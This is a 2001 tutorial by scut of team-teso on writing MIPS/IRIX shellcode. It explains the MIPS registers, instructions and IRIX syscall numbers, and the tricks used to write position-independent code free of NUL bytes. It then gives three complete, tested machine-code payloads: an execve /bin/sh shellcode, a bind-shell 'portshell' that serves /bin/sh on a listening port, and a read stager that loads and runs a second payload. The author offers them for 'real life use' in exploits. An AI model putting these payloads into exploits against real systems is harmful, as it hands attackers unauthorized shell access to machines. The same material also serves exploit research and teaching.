Writing MIPS/IRIX shellcode

scut (scut@team-teso.net)

January 14, 2001

version 1.0

Contents

1 Introduction

Writing shellcode for the MIPS/Irix platform is not much different from writing shellcode for the x86 architecture. There are, however, a few tricks worth knowing when attempting to write clean shellcode (which does not have any NUL bytes and works completely independent from it's position).

This small paper will provide you with a crash course on writing IRIX shellcode for use in exploits. It covers the basic stuff you need to know and provides some example shellcodes for modification and real life use.

2 The IRIX operating system

The IRIX operating system was developed independently by Silicon Graphics and is UNIX System V.4 compliant. It has been designed for the MIPS CPU's, which have a unique history and have pioneered 64-bit and RISC technology. The current IRIX version is 6.5.9. There are two major versions, called feature (6.5.9f) and maintenance (6.5.9m) release, from which the feature release is focused on new features and technologies and the maintenance release on bug fixes and stability. All modern IRIX platforms are binary compatible and this shellcode discussion and the example shellcodes have been tested on over half a dozen different IRIX computer systems. IRIX systems are known for their reliability, their usability and their clean system design and documentation.

3 The MIPS architecture

To write shellcode for a system you have to know its architecture and internals, since you create raw machine code, which will be executed directly by the CPU. I will provide a basic overview over the MIPS architecture, which should be enough to write some basic shellcode. For a complete overview please refer to the excellent MIPS guide by Dominic Sweetman [1]

3.1 Basic history and architecture

There are a lot of different types of the MIPS CPU, the most common are the *R4x00* and *R10000* series (which share the same instruction set).

A MIPS CPU is a typical RISC-based CPU, meaning it has a reduced instruction set with less instructions than a CISC CPU, such as the x86 by Intel. The core concept of a RISC CPU is a tradeoff between simplicity and concurrency: There are less instructions, but the existing ones can be executed quickly and in parallel. Because of this small number of instructions there is less redundancy per instruction, and some things can only be done using a single instruction, while on a CISC CPU this can only be achieved

by using a variety of different instructions, each one doing basically the same thing. As a result of this, MIPS machine code is larger then CISC machine code, since often multiple instructions are required to accomplish the same operation that CISC CPU's are able to do with one single instruction.

Multiple instructions do not, however, result in slower code. This is a matter of overall execution speed, which is extremely high because of the parallel execution of the instructions.

On most MIPS CPUs used in workstations and servers today, the concurrency is very advanced, and the CPU has a pipeline with five slots, which means five instructions are processed at the same time. Also, every instruction has five stages, from the initial IF pipestage (instruction fetch) to the last, the WB pipestage (write back). There is a broad range of MIPS CPUs that is in use today, ranging from tiny ones, designed for embedded systems without a floating point unit, up to high performance CPUs for the server market. There are four different kinds of instruction set revisions, from which each successor contains the entire old instruction set. The extension is done in a remarkable clean way that does not interfere with machine code written for previous version, while not hindering the extensions, as it is the case on some popular architecture.

Back to the pipelining, because the instructions overlap within the pipeline, there are some 'anomalies' that have to be considered when writing MIPS machine code:

- there is a branch delay slot: the instruction following the branch instruction is still in the pipeline and is executed after the jump has taken place.
- the return address for subroutines (`$ra`) and syscalls (`C0_EPC`) points not to the instruction after the branch/jump/syscall instruction but to the instruction after the branch delay slot instruction.
- since every instruction is divided into five pipestages the MIPS design has reflected this on the instructions itself: every instruction is 32 bits broad (4 bytes), and can be divided most of the times into segments which correspond with each pipeline stage.

3.2 MIPS instructions

MIPS instructions are not just 32 bit long each, they often share a similar mapping, too. An instruction can be divided into the following sections:

bits 31–26	bits 25–21	bits 20–6	bits 5–0
op	sub-op	data	subcode

The '*op*' field denotes the six bit primary opcode. Some instructions, such as long jumps (see below) have a unique code here, the rest are grouped

by function. The '*sub-op*' section, which is five bits long, can represent either a specific sub opcode as extension to the primary opcode, or can be a register block. A register block is always five bits long and selects one of the CPU registers for an operation. The '*subcode*' is the opcode for the arithmetic and logical instructions, which have a primary opcode of zero.

The logical and arithmetic instructions share a RISC-unique attribute: They do not work with two registers, such as common x86 instructions, but they use three registers, named 'destination', 'target' and 'source'. This allows more flexible code, if you still want CISC-like instructions, such as "`add %eax, %ecx`", just use the same destination and target register for the operation.

A typical MIPS instruction looks like:

```
or   a0, a1, t4
```

which is easy to represent in C as "`a0 = a1 | t4`". The order is almost always equivalent to a simple C expression, as shown above.

Some simple instructions are listed below.

or	dest, source, target	logical or: dest = source — target
nor	dest, source, target	logical not or: d = ~(source — target)
add	dest, source, target	add: dest = source + target
addu	dest, source, value	add: dest = source + (signed)value
and	dest, source, target	logical and: dest = source target
beq	source, target, offset	if (source == target) goto offset
bgez	source, offset	if (source $\geq$ 0) goto offset
bgezal	source, offset	if (source $\geq$ 0) offset ()
bgtz	source, offset	if (source $>$ 0) goto offset
bltz	source, offset	if (source $<$ 0) goto offset
bltzal	source, offset	if (source $<$ 0) offset ()
bne	source, target, offset	if (source $\neq$ target) goto offset
j	loffset	goto loffset (within 2^{28} byte range)
jr	register	jump to address in register
jal	loffset	loffset (), store retaddr in `$ra`
li	dest, value	load immediate: ori or addiu
lw	dest, offset	dest = *((int *) (offset))
slt	dest, source, target	signed: dest = (source $<$ target) ? 1 : 0
slti	dest, source, value	signed: dest = (source $<$ value) ? 1 : 0
sltiu	dest, source, value	unsigned: dest = (source $<$ value) ? 1 : 0
sub	dest, source, target	dest = source - target
sw	source, offset	*((int *) offset) = source
syscall		raise syscall exception
xor	dest, source, target	dest = source ^target
xori	dest, source, value	dest = source ^value

dest, source, target, and register registers (see section 3.3 about MIPS registers below).

value a 16 bit value, either signed or not, depending on the instruction.

offset a 16 bit relative offset.

loffset a 26 bit offset, which is shifted so that it lies on a four byte boundary.

This table is obviously not complete. However, it does cover the most important instructions for writing userspace shellcode. Most of the instructions in the example shellcodes can be found here. For the complete list of instructions take a look at the references, section 6.3.

3.3 MIPS registers

The MIPS CPU has plenty of registers. Since we already know registers are addressed from within the instructions using a five bit block, there must be

32 registers, $0 to $31. They are all alike except for $0 and $31. For $0 the case is very simple: No matter what you do to the register, it always contains zero. This is practical for a lot of arithmetic instructions and can results in elegant code design. The $0 register has been assigned the symbolic name $zero. The $31 register is also called $ra, for 'return address'. Why should a register ever contain a return address if there is such a nice stack to store it ? And if it is stored in a register, how is recursion handled ?

Well, the short answer is, there is no real stack and yes it works. For the longer answer we will shortly discuss what happens when a function is called on a RISC CPU. When this is done a special instruction called '*jal*' is used. This instruction overwrites the content of the $ra ($31) register with the appropriate return address and then jumps to an arbitrary address. The called function does however see the return address in $ra and once finished just jumps back (using the '*jr*' instruction) to the return address.

But what if the function wants to call functions, too ? Then there is a stack-like segment the function can store the return address on, later restore it and then continue to work as usual.

Why 'stack-like' ? Because there is only a stack by convention, and any register may be used to behave like a stack. There are no push or pop instructions however, and the register has to be adjusted manually. The 'stack' register is $29, symbolically referred as $sp. The stack grows to the smaller addresses, just like on the x86 architecture.

There other register conventions, nearly as many as there are registers. For the sake of completeness here is a small listing:

number	symbolic	function
$0	$zero	always contains zero
$1	$at	is used by assembler (see below), do not use it
$2-$3	$v0, $v1	subroutine return values
$4-$7	$a0-$a3	subroutine arguments
$8-$15	$t0-$t7	temporary registers, may be overwritten by subroutine
$16-$23	$s0-$s7	subroutine registers
$24,$25	$t8, $t9	temporary registers, may be overwritten by subroutine
$26,$27	$k0, $k1	interrupt/trap handler reserved registers, do not use
$28	$gp	global pointer, used to access static and extern variables
$29	$sp	stack pointer
$30	$s8/$fp	subroutine register, commonly used as a frame pointer
$31	$ra	return address

There are also 32 floating point registers, each 32 bits long (64 bits on newer MIPS CPUs). They are not important for system programming, so we will not discuss them here.

4 Programming the MIPS

Just like any other processor, the MIPS can be programmed in more them one way. We will examine how to do this in assembly language and how high level programming languages — such as C — will take advantage of the MIPS to compile the source to efficient machine code.

4.1 The MIPS assembly language

Because the instructions available on the MIPS processor are relatively primitive, but programmers often want to accomplish more complex things, the MIPS assembly language works with a lot of macro instructions. They sometimes provide really necessary operations, such as subtracting a number from a register (which is converted to a signed add by the assembler) to complex macros, such as finding the remainder for a division. But the assembler does a lot more than providing macros for common operations. We already mentioned the pipeline in which instructions are processed simultaneously. Often the execution directly depends on the order within the pipeline, because the registers accessed with the instructions are written back in the last pipestage, the WB (write-back) stage and cannot be accessed before by other instructions. For old MIPS CPUs the MIPS abbreviation is true when saying '*Microcomputer without Interlocked Pipeline Stages*', you just cannot access the register in the instruction directly following the one that modifies this register. Nearly all MIPS CPUs currently in service do have an interlock though, they just wait until the data from the instruction is written back to the register before allowing the following instruction to read it. In practice you only have to worry when writing very low level assembly code, such as shellcode, because most of the times the assembler will reorder and replace your instructions so that they exploit the pipelined architecture at best. You can turn off this reordering and macros in any MIPS assembler, if you want to.

The MIPS CPUs and RISC CPUs altogether were not designed with easy assembly language programming in mind. It is more difficult, however, to program a RISC CPU in assembly than any CISC CPU. Even the first sentences of the MIPS Pro Assembler Manual from the MIPS corporation recommend to use MIPS assembly language only for hardware near routines or operating system programming. In most cases a good C compiler, such as the one MIPS developed — the MIPSPro C Compiler — will optimize the pipeline and register usage way better then any programmer might do in assembly. However, when writing shellcodes we have to face the bare machine code and have to write size-optimized code, which does not contain any NUL bytes. A compiler might use large code to unroll loops or to use faster constructs, we can not.

4.2 High level language function representation

Most of the time, a normal C function can be represented very easily in MIPS assembly. You just have to differentiate between *leaf* and *non-leaf* functions. A non-leaf function is a function that does not call any other function. Such functions do not need to store the return address on the stack, but keep it in `$ra` for the whole time. The arguments to a function are stored by the calling function in `$a0`, `$a1`, `$a2` and `$a3`. If this space is not sufficient enough, extra stack space is used, but in most cases this registers are enough. The function may return two 32bit values through the `$v0` and `$v1` registers. For temporary space the called function may use the stack referred to by `$sp`. Also registers are commonly saved on the stack and later restored from it. The temporary registers (`$t0`-`$t9`) may be overwritten in the called function without restoring them later, if the calling functions wants to preserve them, it has to save them itself.

The stack usually starts at `0x80000000` and grows towards small addresses. As was already said, it is very similar to the stack of an x86 system.

5 Writing shellcode

Knowing the underlieing architecture is just half of the knowledge necessary to write shellcode. The other half is the knowledge of how to command the operating system on top of this architecture to do the operations you want. We will cover the generic concept of system calls to transfer the control to the operating system kernel and what kind of syscalls are available on the typical UNIX operating system available for the MIPS, the IRIX operating system.

5.1 Syscalls and Exceptions

On a typical Unix system there are only two modes that current execution can happen in: user mode and kernel mode. In most modern architectures this modes are directly supported by the CPU. The MIPS CPU has these two modes plus an extra mode called 'supervisor mode'. It was requested by engineers at DEC for their new range of workstations when the MIPS R4000 CPU was designed. Since the VMS/DEC market was important to MIPS at that time, they implemented this third mode at DEC's request to allow the VMS operating system to be run on the CPU. However, DEC decided later to develop their own CPU, the Alpha CPU and the mode remains unused even today.

Back to the execution modes, on current operating systems designed for the MIPS CPU, only kernel mode and user mode are used. To switch from user mode to the kernel mode there is a mechanism called '*exceptions*'. Whenever a user space process wants to let the kernel to do something

or whenever the current execution can not be successfully continued, the control is passed to the kernel space exception handler.

For shellcode construction we have to know that we can make the kernel execute important operating system related stuff like I/O operations through the syscall exception, which is triggered through the 'syscall' instruction. The syscall instruction looks like:

```
syscall    0000.00xx xxxx.xxxx xxxx.xxxx xx00.1100
```

Where the x's represent the 20 bit broad syscall code, which is ignored on the IRIX system. To avoid NUL bytes in your shellcode you can set those x-bits to arbitrary data.

5.2 IRIX system calls

The following list covers the most important syscalls for use in shellcodes. After all registers have been appropriately set the 'syscall' instruction is executed and the execution flow is passed to the kernel.

accept int accept (int s, struct sockaddr *addr, socklen_t *addrlen);
a0 = (int) s
a1 = (struct sockaddr *) addr
a2 = (socklen_t *) addrlen
v0 = SYS_accept = 1089 = 0x0441

return values
a3 = 0 success, a3 $\neq$ 0 on failure
v0 = new socket

bind int bind (int sockfd, struct sockaddr *my_addr, socklen_t addrlen);
a0 = (int) sockfd
a1 = (struct sockaddr *) my_addr
a2 = (socklen_t) addrlen
v0 = SYS_bind = 1090 = 0x0442

return values
a3 = 0 success, a3 $\neq$ 0 on failure
v0 = 0 success, v0 $\neq$ 0 on failure

For the IN protocol family (TCP/IP) the sockaddr pointer points to a sockaddr_in struct which is 16 bytes long and typically looks like:

```
"\x00\x02\xaa\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
```

Where aa is ((port >> 8) & 0xff) and bb is (port & 0xff).

close int close (int fd);
a0 = (int) fd
v0 = SYS_close = 1006 = 0x03ee

return values
a3 = 0 success, a3 ≠ 0 on failure
v0 = 0 success, v0 ≠ 0 on failure

execve int execve (const char *filename, char *const argv [], char *const envp[]);
a0 = (const char *) filename
a1 = (chat * const) argv[]
a2 = (char * const) envp[]
v0 = SYS_execve = 1059 = 0x0423

the function does not return on success, since it replaces the current process

fcntl int fcntl (int fd, int cmd);
int fcntl (int fd, int cmd, long arg);
a0 = (int) fd
a1 = (int) cmd
a2 = (long) arg — in case the command requires an argument
v0 = SYS_fcntl = 1062 = 0x0426

return values
a3 = 0 on success, a3 ≠ 0 on failure
v0 is the real return value and depends on the operation, see fcntl(2)

fork int fork (void);
v0 = SYS_fork = 1002 = 0x03ea

return values
a3 = 0 on success, a3 ≠ 0 on failure
v0 = 0 in child process, PID of child in parent process

listen int listen (int s, int backlog);
a0 = (int) s
a1 = (int) backlog
v0 = SYS_listen = 1096 = 0x0448

return values
a3 = 0 on success, a3 ≠ 0 on failure

read ssize_t read (int fd, void *buf, size_t count);
a0 = (int) fd
a1 = (void *) buf
a2 = (size_t) count
v0 = SYS_read = 1003 = 0x03eb

return values
a3 = 0 on success, a3 ≠ 0 on failure
v0 = number of bytes read

socket int socket (int domain, int type, int protocol);
a0 = (int) domain
a1 = (int) type
a2 = (int) protocol
v0 = SYS_socket = 1107 = 0x0453

return values
a3 = 0 on success, a3 ≠ 0 on failure
v0 = new socket

write int write (int fileno, void *buffer, int length);
a0 = (int) fileno
a1 = (void *) buffer
a2 = (int) length
v0 = SYS_write = 1004 = 0x03ec

return values
a3 = 0 on success, a3 ≠ 0 on failure
v0 = number of bytes written

The dup2 functionality is not implemented as system call but as libc wrapper for close and fcntl. Simplified the dup2 function looks like:

```
int dup2 (int des1, int des2)
{
    int tmp_errno, maxopen;

    maxopen = (int) ulimit (4, 0);
    if (maxopen < 0)
```

```
        {
            maxopen = OPEN_MAX;
        }
        if (fcntl (des1, F_GETFL, 0) == -1)
        {
            _setoserror (EBADF);
            return -1;
        }

        if (des2 >= maxopen || des2 < 0)
        {
            _setoserror (EBADF);
            return -1;
        }

        if (des1 == des2)
        {
            return des2;
        }
        tmp_errno = _oserror();
        close (des2);
        _setoserror (tmp_errno);

        return (fcntl (des1, F_DUPFD, des2));
    }
```

So without the validation dup2 (des1, des2) can be rewritten as:

```
        close (des2);
        fcntl (des1, F_DUPFD, des2);
```

Which has been done in the portshell shellcode below.

5.3 Common constructs in shellcode

When writing shellcode there are always common operations, like getting the current address. Here are a few techniques that you can use in your shellcode.

5.3.1 Getting the current address

```
        li      t8, -0x7350     /* load t8 with -0x7350 (leet) */
foo:    bltzal  t8, foo         /* branch with $ra stored if t8 < 0 */
        slti    t8, zero, -1    /* t8 = 0 (see below) */
bar:
```

Because the slti instruction is in the branch delay slot when the bltzal is executed, the next time the bltzal will not branch and $t8 will remain zero. $ra holds the address of the bar label, when the same label is reached.

5.3.2 Loading small integer values

Because every instruction is 32 bits long you cannot immediately load a 32 bit value into a register but you have to use two instructions. Most of the time, however, you just want to load small values, below 256. Values below 2^{16} are stored as a 16 bit value within the instruction and values below 256 will result in ugly NUL bytes, that should be avoided in proper shellcode. Therefore we use a trick to load such small values:

```
/* loading zero into reg (reg = 0): */
        slti    reg, zero, -1

/* loading one into reg (reg = 1): */
        slti    reg, zero, 0x0101

/* loading small integer values into reg (reg = value): */
        li      t8, -valmod     /* valmod = value + 1 */
        not     reg, t8

/* for example if we want to load 4 into reg we would use: */
        li      t8, -5
        not     reg, t8
```

In case you need small values more than one time you can also store them into saved registers ($s0 - $s7, optionally $s8).

5.3.3 Moving registers

In normal MIPS assembly you would use the simple move instruction, which results in an 'or' instruction, but in shellcode you have to avoid NUL bytes, and you can use this construction, if you know that the value in the register is below 0xffff (65535):

```
        andi   reg, source, 0xffff
```

5.4 Tuning the shellcode

I recommend that you write your shellcodes in normal MIPS assembly and afterwards start removing the NUL bytes from top to bottom. For simple load instructions you can use the constructs above. For essential instructions try to play with the different registers, in some cases NUL bytes may be removed from arithmetic and logic instructions by using higher registers, such as $t8 or $s7. Next try replacing the single instruction with two or three accomplishing the same. Make use of the return values of syscalls or known register contents. Be creative, use a MIPS instruction reference, such as '*MIPSPro Assembly Language Programmer's Guide*' [2] and your brain and you will always find a good replacement.

Once you made your shellcode NUL free you will notice the size has increased and your shellcode is quite bloated. Do not worry, this is normal, there is almost nothing you can do about it, RISC code is nearly always larger then the same code on x86. But you can do some small optimizations to decrease it's size. At first try to find replacements for instruction blocks, where more then one instruction is used to do one thing. Always take a look at the current register content and make use of return values or previously loaded values. Sometimes reordering helps you to avoid jumps.

6 Example shellcode

This section contains three example shellcodes, which were developed for the IRIX operating system. They were extensivly tested and are free for anyone to modify, use or look at.

All shellcodes were tested on the following systems: R4000/6.2, R4000/6.5, R4400/5.3, R4400/6.2, R4600/5.3, R5000/6.5 and R10000/6.4. Thanks to vax, oxigen, zap and hendy for testing them.

6.1 MIPS/IRIX PIC execve shellcode

This shellcode is the real classic shellcode, it just executes '/bin/sh'.

```
/* mips-irix-execve.c
 * 68 byte MIPS/IRIX PIC execve shellcode.
 * -scut/teso
 */
unsigned long int shellcode[] = {
                0xafa0fffc,     /* sw           $zero, -4($sp)          */
                0x24067350,     /* li           $a2, 0x7350             */
/* dpatch: */   0x04d0ffff,     /* bltzal       $a2, dpatch             */
                0x8fa6fffc,     /* lw           $a2, -4($sp)            */
                /* a2 = (char **) envp = NULL */

                0x240fffcb,     /* li           $t7, -53                */
                0x01e07827,     /* nor          $t7, $t7, $zero         */
                0x03eff821,     /* addu         $ra, $ra, $t7           */

                /* a0 = (char *) pathname */
                0x23e4fff8,     /* addi         $a0, $ra, -8            */

                /* fix 0x42 dummy byte in pathname to shell */
                0x8fedfffc,     /* lw           $t5, -4($ra)            */
                0x25adffbe,     /* addiu        $t5, $t5, -66           */
                0xafedfffc,     /* sw           $t5, -4($ra)            */

                /* a1 = (char **) argv */
                0xafa4fff8,     /* sw           $a0, -8($sp)            */
                0x27a5fff8,     /* addiu        $a1, $sp, -8            */
```

```
                0x24020423,     /* li           $v0, 1059 (SYS_execve)  */
                0x0101010c,     /* syscall                              */
                0x2f62696e,     /* .ascii       "/bin"                  */
                0x2f736842,     /* .ascii       "/sh", .byte 0xdummy    */
};
```

6.2 MIPS/IRIX PIC portshell shellcode

This shellcode is rather long, it binds a '/bin/sh' shell to a user defineable port.

```
/* mips-irix-portshell.c
 * 364 byte MIPS/IRIX PIC listening portshell shellcode.
 * -scut/teso
 */
unsigned long int shellcode[] = {
                0x2416fffd,     /* li           $s6, -3                 */
                0x02c07027,     /* nor          $t6, $s6, $zero         */
                0x01ce2025,     /* or           $a0, $t6, $t6           */
                0x01ce2825,     /* or           $a1, $t6, $t6           */
                0x240efff9,     /* li           $t6, -7                 */
                0x01c03027,     /* nor          $a2, $t6, $zero         */
                0x24020453,     /* li           $v0, 1107 (socket)      */
                0x0101010c,     /* syscall                              */
                0x240f7350,     /* li           $t7, 0x7350 (nop)       */

                0x3050ffff,     /* andi         $s0, $v0, 0xffff        */
                0x280d0101,     /* slti         $t5, $zero, 0x0101      */
                0x240effee,     /* li           $t6, -18                */
                0x01c07027,     /* nor          $t6, $t6, $zero         */
                0x01cd6804,     /* sllv         $t5, $t5, $t6           */
                0x240e7350,     /* li           $t6, 0x7350 (port)      */
                0x01ae6825,     /* or           $t5, $t5, $t6           */
                0xafadfff0,     /* sw           $t5, -16($sp)           */
                0xafa0fff4,     /* sw           $zero, -12($sp)         */
                0xafa0fff8,     /* sw           $zero, -8($sp)          */
                0xafa0fffc,     /* sw           $zero, -4($sp)          */
                0x02102025,     /* or           $a0, $s0, $s0           */
                0x240effef,     /* li           $t6, -17                */
                0x01c03027,     /* nor          $a2, $t6, $zero         */
                0x03a62823,     /* subu         $a1, $sp, $a2           */
                0x24020442,     /* li           $v0, 1090 (bind)        */
                0x0101010c,     /* syscall                              */
                0x240f7350,     /* li           $t7, 0x7350 (nop)       */

                0x02102025,     /* or           $a0, $s0, $s0           */
                0x24050101,     /* li           $a1, 0x0101             */
                0x24020448,     /* li           $v0, 1096 (listen)      */
                0x0101010c,     /* syscall                              */
                0x240f7350,     /* li           $t7, 0x7350 (nop)       */

                0x02102025,     /* or           $a0, $s0, $s0           */
                0x27a5fff0,     /* addiu        $a1, $sp, -16           */
```

```
0x240dffef,     /* li           $t5, -17                */
0x01a06827,     /* nor          $t5, $t5, $zero         */
0xafadffec,     /* sw           $t5, -20($sp)           */
0x27a6ffec,     /* addiu        $a2, $sp, -20           */
0x24020441,     /* li           $v0, 1089 (accept)      */
0x0101010c,     /* syscall                              */
0x240f7350,     /* li           $t7, 0x7350 (nop)       */
0x3057ffff,     /* andi         $s7, $v0, 0xffff        */

0x2804ffff,     /* slti         $a0, $zero, -1          */
0x240203ee,     /* li           $v0, 1006 (close)       */
0x0101010c,     /* syscall                              */
0x240f7350,     /* li           $t7, 0x7350 (nop)       */

0x02f72025,     /* or           $a0, $s7, $s7           */
0x2805ffff,     /* slti         $a1, $zero, -1          */
0x2806ffff,     /* slti         $a2, $zero, -1          */
0x24020426,     /* li           $v0, 1062 (fcntl)       */
0x0101010c,     /* syscall                              */
0x240f7350,     /* li           $t7, 0x7350 (nop)       */

0x28040101,     /* slti         $a0, $zero, 0x0101      */
0x240203ee,     /* li           $v0, 1006 (close)       */
0x0101010c,     /* syscall                              */
0x240f7350,     /* li           $t7, 0x7350 (nop)       */

0x02f72025,     /* or           $a0, $s7, $s7           */
0x2805ffff,     /* slti         $a1, $zero, -1          */
0x28060101,     /* slti         $a2, $zero, 0x0101      */
0x24020426,     /* li           $v0, 1062 (fcntl)       */
0x0101010c,     /* syscall                              */
0x240f7350,     /* li           $t7, 0x7350 (nop)       */

0x02f72025,     /* or           $a0, $s7, $s7           */
0x2805ffff,     /* slti         $a1, $zero, -1          */
0x02c03027,     /* nor          $a2, $s6, $zero         */
0x24020426,     /* li           $v0, 1062 (fcntl)       */
0x0101010c,     /* syscall                              */
0x240f7350,     /* li           $t7, 0x7350 (nop)       */

0xafa0fffc,     /* sw           $zero, -4($sp)          */
0x24068cb0,     /* li           $a2, -29520             */
0x04d0ffff,     /* bltzal       $a2, pc-4               */
0x8fa6fffc,     /* lw           $a2, -4($sp)            */
0x240fffc7,     /* li           $t7, -57                */
0x01e07827,     /* nor          $t7, $t7, $zero         */
0x03eff821,     /* addu         $ra, $ra, $t7           */
0x23e4fff8,     /* addi         $a0, $ra, -8            */
0x8fedfffc,     /* lw           $t5, -4($ra)            */
0x25adffbe,     /* addiu        $t5, $t5, -66           */
0xafedfffc,     /* sw           $t5, -4($ra)            */
0xafa4fff8,     /* sw           $a0, -8($sp)            */
0x27a5fff8,     /* addiu        $a1, $sp, -8            */
0x24020423,     /* li           $v0, 1059 (execve)      */
```

```
                0x0101010c,     /* syscall                              */
                0x240f7350,     /* li           $t7, 0x7350 (nop)       */
                0x2f62696e,     /* .ascii       "/bin"                  */
                0x2f736842,     /* .ascii       "/sh", .byte 0xdummy    */
};
```

6.3 MIPS/IRIX PIC read shellcode

This shellcode is for situations where not much room is left for shellcode. It reads a second shellcode from an open filedescriptor and executes it.

```
/* mips-irix-read.c
 * 40 byte MIPS/IRIX PIC stdin-read shellcode.
 * -scut/teso
 */
unsigned long int shellcode[] = {
                0x24048cb0,     /* li           $a0, -0x7350            */
/* dpatch: */   0x0490ffff,     /* bltzal       $a0, dpatch             */
                0x2804ffff,     /* slti         $a0, $zero, -1          */
                0x240fffe3,     /* li           $t7, -29                */
                0x01e07827,     /* nor          $t7, $t7, $zero         */
                0x03ef2821,     /* addu         $a1, $ra, $t7           */
                0x24060201,     /* li           $a2, 0x0201 (513 bytes) */
                0x240203eb,     /* li           $v0, SYS_read           */
                0x0101010c,     /* syscall                              */
                0x24187350,     /* li           $t8, 0x7350 (nop)       */
};
```

References

[1] Dominic Sweetman: “See MIPS Run”, Morgan Kaufmann Publishers, ISBN 1-55860-410-3

[2] MIPSPro Assembly Language Programmers Guide - Volume 1/2, Document Number 007-2418-001, http://www.mips.com/, http://www.sgi.com/